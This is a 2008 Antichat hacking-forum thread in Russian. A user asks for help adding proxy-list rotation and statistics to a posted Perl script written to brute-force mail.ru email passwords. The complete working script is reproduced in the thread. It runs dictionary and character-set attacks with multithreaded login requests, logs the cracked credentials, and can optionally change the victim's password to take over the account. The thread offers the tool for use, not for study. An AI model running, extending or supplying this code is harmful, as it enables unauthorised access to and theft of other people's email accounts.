ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Доработка брутера на perl
  #1  
Старый 05.03.2008, 22:47
Хозяин
Постоянный
Регистрация: 15.03.2006
Сообщений: 600
Провел на форуме:
5091304

Репутация: 1203


По умолчанию Доработка брутера на perl

В общем такая ситуация: в перле я ни бум бум, а нужно доработать скрипт брута mail.ru от genom-- (за скрипт ему отдельное спасибо))

Нужно научить скрипт работать со списком прокси (с 1 он уже умеет работать + хоть какую-нибудь статистику по колличеству пробрученных адресов и колличеству сбрученных)

С меня собственно куча + в репу, может еще чем помогу по возможности, я не жадный)

Код:
#!/usr/bin/perl
######################### genom-- mail bruter v 4.0 #####################
#   							специально для antichat.ru 
#   
#   Приветы: +toxa+, gemaglabin, tclover, slider, nerezus, podkashey, friackazoid, A110ut, b00zy_c0d3r, k1b0rg, limpompo and other good boys & girls.
#   привет и всем остальным кто ко мне хорошо относится -- а кто плохо вы сами знаете куда вам идти
#
#     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~NO SPloA<-->NO WorLD~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#		        Затеряный в бескрайних лесах белорусии секретный бункер №19753 .2007 год.
#      Use:
#  mail.pl brute - для символьного перебора
#  mail.pl - для брута по словарю
#  mail.pl wget http://somesute.com/dict.txt - для брута по словарю с его предварительной выкачкой самим скриптом
# при выборе режима посимвольного перебора придется указать мин и максимальную длину пароля а также вручную 
# выставить набор символов которые будут входить в генерируемые пароли
######################### genom-- mail bruter v 4.0 #######################

use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
my $num : shared;
my $dyndyk : shared;
my $thepass : shared;

print "\a\a\a\a########## GeNoM-- mail.ru bruter v 4.0 || icq^963202 ###############\n";

my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new;
$ua->timeout(60);
$ua->max_size(64);
$ua->agent('antichat shell v -197.0 - admin /\0X');
$ua->cookie_jar($cookies);
$ua->requests_redirectable(0);
################################ КОНФИГ ################################# 
#     $proxy='127.0.0.1:8080';
#     $ua->proxy('http'=>"http://$proxy");    # вот ваша прокся запишите тип http или socks и адрес можете в переменную можете просто так

$threads=10;       # количество потоков
$tclover=10;      # количество пасов отбручиваемых потоком
$getpass=0;       # менять пароль 1,  неменять - 0
$br=0;            # переменная флаг брута - установите в 1 если хотите чтобы всегда брутилось символьным перебором 

@chr=('',1..5); # набор символов из которых будет генерироваться словарь - ВАЖНО первый символ не убирать
################################ КОНЕЦ ################################### 
if(@ARGV[0] eq 'brute'){$br=1;}

$time=localtime;
print "Start brute in $time\n";

############# автоскачка файла с пассами
if(@ARGV[0] eq 'wget'){
$link328=@ARGV[1];
print "Downloading passwd list->$link328\n";
my $res = $ua->get($link328) or die "Can't download file.\n";
open lodd,">pass.txt";
binmode lodd;
$slovo=$res->content;
if($slovo=~/Not Found/){print "File not found.\n";exit;}
if($slovo=~/500 Can't connect/i) {print "Bad connect.......\n";exit;}  
$slovo=~s/<[^>]+>//ig; # затераем теги на всякий случай.
print lodd $slovo;
close lodd;
print "Downloading complite. File save as pass.txt.\n";
}

open(pass,"<pass.txt");
while($sykaz=<pass>){$what_pass++;}
close(pass);
open(mails,"<mail.txt");
while($sykaz=<mails>){$what_mail++;}
close(mails);
print"\n~~~~~  total mails:$what_mail and password:$what_pass  ~~~~~\n\n";
open(mails,"<mail.txt");

############ prebrut
if($br==1){
@pas=(0,0,0,0,0,0,0,0,1); # массив символизирующий начальное положение счетчика

print"Insert min length or press enter by 1->";
$min=<STDIN>;
chomp$min;
if($min eq''){$min=1;}
print"Insert max length->";
$max=<STDIN>;
chomp$max;
foreach(@chr){$sum++;}
foreach(@pas){$dll++;}

# выставляем начально значение счетчика согласно мин длине пароля
for ($i = $dll-1; $i >=$dll-$min; $i--) {
@pas[$i]=1; }
}
############
while ($mails=<mails>) {
print"Start brute mail->$mails\n";
chomp $mails;
($login,$domain)=split(/\@/,$mails);

open(pass,"<pass.txt") if $br==0;
puk:
if($br==1){
for ($i2 = 0; $i2 < $tclover; $i2++) { 
for ($i = $dll-1; $i >= 0; $i--) {
if(@pas[$i]>($sum-1)){@pas[$i-1]++;
@pas[$i]=@pas[$i]-($sum-1);}
}
@passwd[$i2]="@chr[@pas[0]]@chr[@pas[1]]@chr[@pas[2]]@chr[@pas[3]]@chr[@pas[4]]@chr[@pas[5]]@chr[@pas[6]]@chr[@pas[7]]@chr[@pas[8]]";
if(@pas[$dll-1]==$sum){next;} # эта строчка исправляет небольшую колизию при составлении пароля
@pas[$dll-1]++;
if(length($str)>$max){print"\n\nMax lenght of password ....\n\n";goto(konec);}
}
}
else{
for ($i = 0; $i < $tclover; $i++) { 
$password=<pass>;
chomp $password;
@passwd[$i]=$password;
}}

print"\nStart new thread with mail->$mails and password->@passwd[0]\n";
open logg,">>log.txt";print logg "\n\nStart new thread with mail->$mails and password->@passwd[0]\n";close logg;
threads->create(\&brut,@passwd);
$num++;
$got+=$tclover;
sleep(1); 
if($got >= $what_pass && $br==0){print"\n\nEnd of password list ....\n\n";goto(konec);}
if($dyndyk==55){print"\n\n\a\a\a####### BRUTE PASSWORD [OK].... see brute_mail.txt #######\n\n";goto(konec);}
check:
if($num < $threads){goto(puk)}
else{sleep(1);goto(check);};
konec:
$got=0;
foreach(threads->list) { $_->join } # ждем оконания остальных потоков и идем дальше
close(pass);
$dyndyk=0;
if($br==1){ # выставляем счетчик заново
for ($ii = $dll; $ii >=0; $ii--) {@pas[$ii]=0;}
for ($i = $dll-1; $i >=$dll-$min; $i--) {
@pas[$i]=1; }
}
$time=localtime;
print "Start brute in $time\n";
}
close(mails);
 
sub brut {
foreach $pyss(@_){
next if($dyndyk==55);
my $res = $ua->post('http://win.mail.ru/cgi-bin/auth', {'page' => '', 'post' => '', 'login_from' => 'http://mail.ru/', 'Login' => $login, 'Domain' => $domain, 'Password' => $pyss });

if($res->content=~/500 Can't connect/i) {print "Bad connect.......\n";exit;}        
if($res->content=~/checkcookie/i) {$dyndyk=55; print "\a\a\aFor $login\@$domain password->$pyss\n";
if($getpass==1) {$pyss=new_pass($login,$domain,$pyss);};
open brut, ">>brute-mail.txt";print brut "$login\@$domain->$pyss\n";close brut; 
open logg,">>log.txt";print logg "For $login\@$domain password->$pyss\n";close logg;

}   
}
$num--;
}

############### получаем новый пасс
sub new_pass{
my ($log,$dom,$pass)=@_;

my $res = $ua->post('http://win.mail.ru/cgi-bin/auth', {'page' => '', 'post' => '', 'login_from' => 'http://mail.ru/', 'Login' => $log, 'Domain' => $dom , 'Password' => $pass });
my $newpass=randpass();
my $res = $ua->post('http://win.mail.ru/cgi-bin/modifypass', {'modify' => 1, 'Username' => $log, 'oldPswd' => $pass, 'Password' => $newpass, 'Password_Verify' => $newpass });
print "Get new pass ...[ok]\nNew password ->$newpass\n\n";
return $newpass;
}

########### генерим новый пароль
sub randpass{
my $rand;
for (1..2){             
$rand.=chr(rand(26)+65);
$rand.=chr(rand(10)+48);
$rand.=chr(rand(26)+97);
}
return $rand;
}

Последний раз редактировалось AciD_FreaK; 05.03.2008 в 23:14..
 
Ответить с цитированием

  #2  
Старый 05.03.2008, 23:26
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

да пожалуйста )

Последний раз редактировалось genom--; 05.03.2008 в 23:31..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
BookS: PHP, PERL, MySQL, JavaScript, HTML, ajax, Веб Дизайн M1nK0 PHP, PERL, MySQL, JavaScript 10 27.06.2009 21:35
Доработка wap чата на заказ! TLS О Работе 2 09.01.2008 15:31
Books Perl FRAGNATIC PHP, PERL, MySQL, JavaScript 0 11.08.2005 16:58
Безопасность приложений на Perl k00p3r Чужие Статьи 0 12.06.2005 09:39



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ